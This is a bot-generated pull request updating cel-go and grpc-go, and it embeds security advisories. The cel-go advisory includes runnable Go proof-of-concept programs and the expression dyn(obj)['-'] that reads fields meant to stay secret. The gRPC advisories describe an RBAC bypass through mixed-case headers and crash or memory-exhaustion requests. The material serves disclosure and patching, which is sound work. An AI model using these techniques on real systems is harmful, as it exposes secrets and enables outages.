[18-stable] Update osv-vulnerability-alerts [SECURITY] (18-stable) by ospk8s-renovate[bot] · Pull Request #1077 · openstack-k8s-operators/telemetry-operator

ospk8s-renovate · 2026-10-06T10:46:52Z

This PR contains the following updates:

Package	Change	Age	Confidence
github.com/google/cel-go	`v0.23.2` → `v0.30.0`
google.golang.org/grpc	`v1.83.0` → `v1.83.2`

cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag

GHSA-gcjh-h69q-9w9g / GO-2026-6094

More information

Details

The function ext.NativeTypes(ParseStructTag("json")) does not honour the encoding/json skip directive json:"-". Fields tagged json:"-" are registered in the CEL type system under the literal name "-" and are readable from any user-submitted CEL expression via dyn(obj)["-"].

Additionally, newNativeTypes silently registers every nested struct reachable from the type passed to NativeTypes, including types from third-party dependencies the developer never examined.

Root cause

In fieldNameByTag, the helper used by ParseStructTag("json") to translate Go struct tags into CEL field names.

See at ext/native.go:146:

func fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {
    return func(field reflect.StructField) string {
        tag, found := field.Tag.Lookup(structTagToParse)
        if found {
            splits := strings.Split(tag, ",")
            if len(splits) > 0 {
                // We make the assumption that the leftmost entry in the tag is the name.
                // This seems to be true for most tags that have the concept of a name/key, such as:
                // https://pkg.go.dev/encoding/xml#Marshal
                // https://pkg.go.dev/encoding/json#Marshal
                // https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs
                // https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal
                name := splits[0]
                return name
            }
        }

        return field.Name
    }
}

For a field tagged json:"-", this code splits the tag into []string{"-"} and returns "-" as the CEL field name. It never checks whether "-" is the JSON skip sentinel.

This contradicts the encoding/json rule that the source comment explicitly points readers to:

As a special case, if the field tag is "-", the field is always omitted. Note
that a field with name "-" can still be generated using the tag "-,".

The public option also documents JSON-style parsing as the intended behavior.
See at ext/native.go:190:

// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.
// For example:
// If the tag to parse is "cel" and the struct field has tag cel:"foo", the CEL struct field will be "foo".
// If the tag to parse is "json" and the struct field has tag json:"foo,omitempty", the CEL struct field will be "foo".
func ParseStructTag(tag string) NativeTypesOption {
    return func(ntp *nativeTypeOptions) error {
        ntp.fieldNameHandler = fieldNameByTag(tag)
        return nil
    }
}

A developer using ParseStructTag("json") is therefore led to expect encoding/json field-name semantics. Instead, json:"-" is treated as a real field name.

The bad name is accepted during native type construction. newNativeType checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.

See at ext/native.go:663:

if fieldNameHandler != nil {
    fieldNames := make(map[string]struct{})

    for idx := 0; idx < refType.NumField(); idx++ {
        field := refType.Field(idx)
        fieldName := toFieldName(fieldNameHandler, field)

        if _, found := fieldNames[fieldName]; found {
            return nil, fmt.Errorf("invalid field name `%s` in struct `%s`: %w", fieldName, refType.Name(), errDuplicatedFieldName)
        } else {
            fieldNames[fieldName] = struct{}{}
        }
    }
}

Once accepted, the field becomes part of CEL's view of the type. Field enumeration reports it as a normal field name.

See at ext/native.go:286:

func (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {
    if t, found := tp.nativeTypes[typeName]; found {
        fieldCount := t.refType.NumField()
        fields := make([]string, fieldCount)
        for i := 0; i < fieldCount; i++ {
            fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))
        }
        return fields, true
    }
    if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {
        return celTypeFields, true
    }
    return tp.baseProvider.FindStructFieldNames(typeName)
}

Field lookup also treats the name as valid and returns the underlying Go field value.

See at ext/native.go:303:

func (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {
    t, found := tp.nativeTypes[typeName]
    if !found {
        return tp.baseProvider.FindStructFieldType(typeName, fieldName)
    }
    refField, isDefined := t.hasField(fieldName)
    if !found || !isDefined {
        return nil, false
    }

    return &types.FieldType{
        IsSet: func(obj any) bool {
            refVal := reflect.Indirect(reflect.ValueOf(obj))
            refField := refVal.FieldByName(refField.Name)
            return !refField.IsZero()
        },
        GetFrom: func(obj any) (any, error) {
            refVal := reflect.Indirect(reflect.ValueOf(obj))
            refField := refVal.FieldByName(refField.Name)
            return getFieldValue(refField), nil
        },
    }, true
}

At runtime, native objects advertise index access.
See at ext/native.go:37:

var (
    nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType
)

Because traits.IndexerType is present, a user expression can bypass ordinary field syntax and read the registered "-" field with bracket access:

dyn(req.auth)["-"]

The same mistaken name is also used when converting native objects to JSON-like CEL values. ConvertToNative(jsonStructType) iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.

See at ext/native.go:501:

case jsonStructType:
    refVal := reflect.Indirect(o.refValue)
    refType := refVal.Type()
    fields := make(map[string]*structpb.Value, refVal.NumField())
    for i := 0; i < refVal.NumField(); i++ {
        fieldType := refType.Field(i)
        fieldValue := refVal.Field(i)
        if !fieldValue.IsValid() || fieldValue.IsZero() {
            continue
        }
        fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)
        fieldCELVal := o.NativeToValue(fieldValue.Interface())
        fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)
        if err != nil {
            return nil, err
        }
        fields[fieldName] = fieldJSONVal.(*structpb.Value)
    }
    return &structpb.Struct{Fields: fields}, nil

This means a json:"-" secret is exposed in two ways: it can be read directly through CEL indexing as dyn(obj)["-"], and it can appear under the key "-" in JSON struct conversion output.

The blast radius is widened by newNativeTypes, which registers not only the type explicitly passed to NativeTypes, but also every nested struct reachable from its fields.

See at ext/native.go:609:

func newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {
    nt, err := newNativeType(fieldNameHandler, rawType)
    if err != nil {
        return nil, err
    }
    result := []*nativeType{nt}

    var iterateStructMembers func(reflect.Type)
    iterateStructMembers = func(t reflect.Type) {
        if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {
            iterateStructMembers(t.Elem())
            return
        }
        if t.Kind() != reflect.Struct {
            return
        }

        nt, ntErr := newNativeType(fieldNameHandler, t)
        if ntErr != nil {
            err = ntErr
            return
        }
        result = append(result, nt)

        for idx := 0; idx < t.NumField(); idx++ {
            iterateStructMembers(t.Field(idx).Type)
        }
    }
    iterateStructMembers(rawType)

    return result, err
}

As a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a json:"-" secret, CEL still receives a readable field named "-" even though the developer never registered or audited that nested type directly.

Reproduction

package main

import (
    "fmt"
    "reflect"

    "github.com/google/cel-go/cel"
    "github.com/google/cel-go/ext"
)

// Simulates a library type; developer never registers this directly.
type AuthCtx struct {
    UserID string `json:"userId"`
    Secret string `json:"-"` // server-internal; never appears in JSON output
}

// Developer registers only this type.
type Req struct{ Auth AuthCtx `json:"auth"` }

func main() {
    env, _ := cel.NewEnv(
        // Only Req is passed; AuthCtx is registered silently by newNativeTypes.
        ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag("json")),
        cel.Variable("req", cel.ObjectType("main.Req")),
    )
    ast, _ := env.Compile(`dyn(req.auth)["-"]`)
    prg, _ := env.Program(ast)
    out, _, _ := prg.Eval(map[string]any{
        "req": Req{Auth: AuthCtx{UserID: "alice", Secret: "sk-live-s3cr3t"}},
    })
    fmt.Println(out) // sk-live-s3cr3t
}

Expected: expression compile error or empty result; json:"-" field should not be
accessible.
Actual: sk-live-s3cr3t; the server-injected secret is returned verbatim.

The same field is also included under key "-" in ConvertToNative(jsonStructType)
output, and appears in FindStructFieldNames enumeration.

path 1. CEL indexing

Tested against the released module github.com/google/cel-go v0.28.1
(latest stable release as of 2026-05-12), using the go.mod entry:

require github.com/google/cel-go v0.28.1

Running the PoC above (go run main.go) produces:

sk-live-s3cr3t

The secret value is returned verbatim, with no error at compile time or at runtime.

Path 2. `ConvertToNative(jsonStructType)`

When the nativeObj for the AuthCtx value is converted to a Protobuf Struct
(the representation used whenever CEL output is serialised to JSON), the
json:"-" field appears in the output map under the key "-".

package main

import (
    "encoding/json"
    "fmt"
    "reflect"

    "github.com/google/cel-go/cel"
    "github.com/google/cel-go/ext"

    structpb "google.golang.org/protobuf/types/known/structpb"
)

type AuthCtxConv struct {
    UserID string `json:"userId"`
    Secret string `json:"-"` // should never appear in JSON output
}

type ReqConv struct{ Auth AuthCtxConv `json:"auth"` }

func main() {
    env, _ := cel.NewEnv(
        ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag("json")),
        cel.Variable("req", cel.ObjectType("main.ReqConv")),
    )

    ast, _ := env.Compile(`req.auth`)
    prg, _ := env.Program(ast)
    out, _, _ := prg.Eval(map[string]any{
        "req": ReqConv{Auth: AuthCtxConv{UserID: "alice", Secret: "sk-live-s3cr3t"}},
    })

    jsonStructType := reflect.TypeOf(&structpb.Struct{})
    raw, _ := out.ConvertToNative(jsonStructType)

    st := raw.(*structpb.Struct)
    b, _ := json.MarshalIndent(st.AsMap(), "", "  ")
    fmt.Printf("ConvertToNative(jsonStructType) output:\n%s\n", b)
    fmt.Printf("\nDirect field access via \"-\" key present: %v\n", st.Fields["-"] != nil)
    if v, ok := st.Fields["-"]; ok {
        fmt.Printf("Value: %s\n", v.GetStringValue())
    }
}

Running the PoC above produces:

ConvertToNative(jsonStructType) output:
{
  "-": "sk-live-s3cr3t",
  "userId": "alice"
}

Direct field access via "-" key present: true
Value: sk-live-s3cr3t

The "-" key is present in the serialised Protobuf struct alongside userId.
Any system that converts a CEL evaluation result to JSON (e.g. via structpb.Struct) will include the secret in the output, regardless of whether the dyn()["-"] indexing path is used.

Impact

Any user who can submit CEL expressions to an application that uses ext.NativeTypes(ParseStructTag("json")) can read struct fields that the developer explicitly marked json:"-" to keep out of serialised output. By writing dyn(obj)["-"], the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because newNativeTypes silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.

Remediation

Do not treat json:"-" as a CEL field named "-". Model it as an explicit skipped field, not as an empty string field name.

Update the struct-tag parsing path so exact json:"-" returns “skip this field”, while json:"-," continues to mean the literal field name "-", matching encoding/json semantics.

Apply that skip decision consistently anywhere native fields are exposed or resolved:

duplicate-name validation in newNativeType
field enumeration in FindStructFieldNames
field type lookup in FindStructFieldType
runtime lookup in fieldByName / hasField
object construction in NewValue
JSON conversion in ConvertToNative(jsonStructType)

Apply the same omit handling for xml:"-", yaml:"-", and bson:"-" where ParseStructTag is used.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

JSON private fields exposed via NativeTypes and ParseStructTag in github.com/google/cel-go

GHSA-gcjh-h69q-9w9g / GO-2026-6094

More information

Details

JSON private fields exposed via NativeTypes and ParseStructTag in github.com/google/cel-go

Severity

Unknown

References

https://github.com/cel-expr/cel-go/security/advisories/GHSA-gcjh-h69q-9w9g

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

gRPC-Go: xDS RBAC HTTP Filter bypass via mixed-case Header Matching and gRFC A41 validation evasion

CVE-2026-84303 / GHSA-qc2q-p7wx-3px3 / GO-2026-6441

More information

Details

Summary

A vulnerability in the xDS RBAC HTTP filter implementation in grpc-go allows remote attackers to bypass authorization policies (specifically DENY rules) by using mixed-case or canonical-case header matchers (e.g., X-Role instead of x-role). Additionally, the safety guards introduced by gRFC A41 to block grpc- prefixed headers can be evaded via variations in casing (e.g., Grpc-Status).

Impact

When an operator defines an RBAC policy referencing headers containing uppercase letters (e.g. X-Role), grpc-go fails to match incoming metadata keys because they are unconditionally lowercased. Because of this case-sensitivity mismatch, a policy designed to block requests containing specific header values fails open: the rule is evaluated as a non-match, and traffic that should have been rejected is served.

Furthermore, gRFC A41 requires rejecting configuration schemas specifying header matchers starting with grpc-. Because this check is executed case-sensitively in grpc-go, attackers can bypass the validation by specifying titles like Grpc-Status.

Patches

The problem is fixed in master and in the 1.83.1 release.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

gRPC-Go: Heap Memory Exhaustion (OOM) via HTTP/2 DATA Frame Fragmentation

CVE-2026-84304 / GHSA-vp52-pcj8-j9qc / GO-2026-6348

More information

Details

Impact

An unauthenticated remote attacker can initiate a gRPC stream and purposefully fragment their payload into millions of tiny (e.g., 1-byte) HTTP/2 DATA frames. Even if the total payload volume falls within the configured connection and stream flow-control windows, each independent fragment incurs memory overhead due to internal tracking structures and queue allocation.

Repeated fragmentation massively inflates the heap space consumed by the stream. An attacker multiplexing multiple concurrent streams can exhaust the memory bounds of the runtime, forcing a runtime panic or OutOfMemory condition and leading to a remote Denial of Service (DoS).

Patches

The change to fix this issue is merged in master and a patch release, 1.83.1, has been published that contains this fix.

Workarounds

This vulnerability is mitigated by implementing receive buffer compaction. Consecutive small data buffers are automatically coalesced into larger buffers from a shared pool once the overhead is perceived to be excessive relative to actual payload data, drastically minimizing per-frame memory overheads.

This behavior is enabled by default. A temporary escape hatch is provided via the environment variable GRPC_GO_EXPERIMENTAL_ENABLE_RECEIVE_BUFFER_COMPACTION=false to disable the feature if unforeseen issues arise, but it will be removed in a future release.

Severity

CVSS Score: 8.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Heap Memory Exhaustion (OOM) via HTTP/2 DATA Frame Fragmentation in google.golang.org/grpc

CVE-2026-84304 / GHSA-vp52-pcj8-j9qc / GO-2026-6348

More information

Details

Heap Memory Exhaustion (OOM) via HTTP/2 DATA Frame Fragmentation in google.golang.org/grpc

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Bypass of xDS RBAC HTTP filter header matching in google.golang.org/grpc

CVE-2026-84303 / GHSA-qc2q-p7wx-3px3 / GO-2026-6441

More information

Details

In google.golang.org/grpc, the xDS RBAC HTTP filter does not lowercase header matcher names before evaluating them against incoming request metadata. When an RBAC policy defines rules (such as DENY) referencing headers with uppercase or mixed-case characters, the rule fails to match, causing authorization policies to fail open. Additionally, callers can evade gRFC A41 validation blocking "grpc-" prefixed headers and ":scheme" via variations in casing.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

gRPC-Go xDS servers: Denial of Service (DoS) via crash due to missing `:authority` and `Host` headers

CVE-2026-84445 / GHSA-2v4p-qf9q-27wj / GO-2026-6443

More information

Details

A vulnerability exists in gRPC-Go servers configured with xds.NewGRPCServer() where a crafted request missing both :authority and Host headers can cause a server panic, resulting in a Denial of Service (DoS).

Servers built with xds.NewGRPCServer install an xDS routing interceptor on every RPC. This interceptor looks up the request’s :authority header to pick a virtual host. The HTTP/2 server transport previously accepted requests that had neither :authority nor Host. When this happened, the xDS routing interceptor attempted to access the first element of an empty slice of authorities, leading to an index out of bounds panic. Since the per-RPC goroutine does not recover from panics, the entire server process would terminate.

This panic occurs in the interceptor pipeline, meaning the transport credentials handshake (TLS, mTLS, or ALTS) and HTTP/2 connection establishment must complete successfully before the crafted request can reach this logic.

Insecure/Standard TLS: If the server permits insecure (plaintext) connections or standard credentials (where client certs are not checked), any unauthenticated remote attacker can trigger the crash.
mTLS / ALTS: If strict transport-level authentication is enforced at the network edge or transport layer (e.g., requiring a valid client certificate), the attacker must possess valid transport credentials to initiate the stream and trigger the panic.

Impact

An attacker can cause a complete outage of the gRPC server by sending a request missing both :authority and Host headers, provided they can successfully establish a transport connection.

Patches

The issue has been addressed in master (and backported to 1.84.0, 1.83.2 and 1.82.2). The fix updates the HTTP/2 transport layer to reject requests missing both :authority and Host headers early, maintaining consistency with and other gRPC language implementations.

Severity

CVSS Score: 8.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Server panic via missing authority or Host headers in google.golang.org/grpc

CVE-2026-84445 / GHSA-2v4p-qf9q-27wj / GO-2026-6443

More information

Details

In google.golang.org/grpc, servers configured with xDS routing can panic when processing requests that lack both :authority and Host headers. The HTTP/2 transport layer accepted requests missing these headers, and the xDS server routing interceptor attempted to index the empty authority slice, causing an unhandled panic and terminating the server.

Severity

Unknown

References

This data is provided by OSV and the Go Vulnerability Database (CC-BY 4.0).

Release Notes

google/cel-go (github.com/google/cel-go)

grpc/grpc-go (google.golang.org/grpc)

`v1.83.2`: Release 1.83.2

Compare Source

Security

server: Reject requests missing both :authority and Host headers with HTTP 400 and status Internal. (#9365)
- Special Thanks: @winklemad

`v1.83.1`: Release 1.83.1

Compare Source

Security

xds/rbac: Fix a bug where nested Principal or Permission rules with :scheme or grpc- prefixed header matchers were not rejected, which could cause DENY rules to fail open. (#9258)
- Special Thanks: @nvxbug
xds/rbac: Fix a bug where the host header matcher was not being replaced with :authority in nested Principal or Permission rules. (#9258)
- Special Thanks: @nvxbug
xds/rbac: Fix a bug where a header matcher whose name was not lowercase, such as X-Role, matched no header, which could cause DENY rules to fail open. (#9332)
- Special Thanks: @alimony
xds/rbac: Fix a bug where a :scheme or grpc- prefixed header matcher was accepted when its name was not lowercase. (#9332)
- Special Thanks: @alimony
xds/rbac: Fix a bug where a Host header matcher was not replaced with :authority. (#9332)
- Special Thanks: @alimony

Performance

transport: Restrict memory overhead of buffering small data frames. (#9331)

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openshift-ci Bot requested review from dprince and jlarriba October 6, 2026 10:46

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[18-stable] Update osv-vulnerability-alerts [SECURITY]

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[18-stable] Update osv-vulnerability-alerts [SECURITY] (18-stable) - #1077

[18-stable] Update osv-vulnerability-alerts [SECURITY] (18-stable)#1077
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cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag

Details

Root cause

Reproduction

path 1. CEL indexing

Path 2. ConvertToNative(jsonStructType)

Impact

Remediation

Severity

References

JSON private fields exposed via NativeTypes and ParseStructTag in github.com/google/cel-go

Details

Severity

References

gRPC-Go: xDS RBAC HTTP Filter bypass via mixed-case Header Matching and gRFC A41 validation evasion

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gRPC-Go: Heap Memory Exhaustion (OOM) via HTTP/2 DATA Frame Fragmentation

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Heap Memory Exhaustion (OOM) via HTTP/2 DATA Frame Fragmentation in google.golang.org/grpc

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Bypass of xDS RBAC HTTP filter header matching in google.golang.org/grpc

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gRPC-Go xDS servers: Denial of Service (DoS) via crash due to missing :authority and Host headers

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Server panic via missing authority or Host headers in google.golang.org/grpc

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Release Notes

v1.83.2: Release 1.83.2

Security

v1.83.1: Release 1.83.1

Security

Performance

Configuration

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ospk8s-renovate Bot commented Oct 6, 2026 •

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Path 2. `ConvertToNative(jsonStructType)`

gRPC-Go xDS servers: Denial of Service (DoS) via crash due to missing `:authority` and `Host` headers

`v1.83.2`: Release 1.83.2

`v1.83.1`: Release 1.83.1

coderabbitai Bot commented Oct 6, 2026 •

edited

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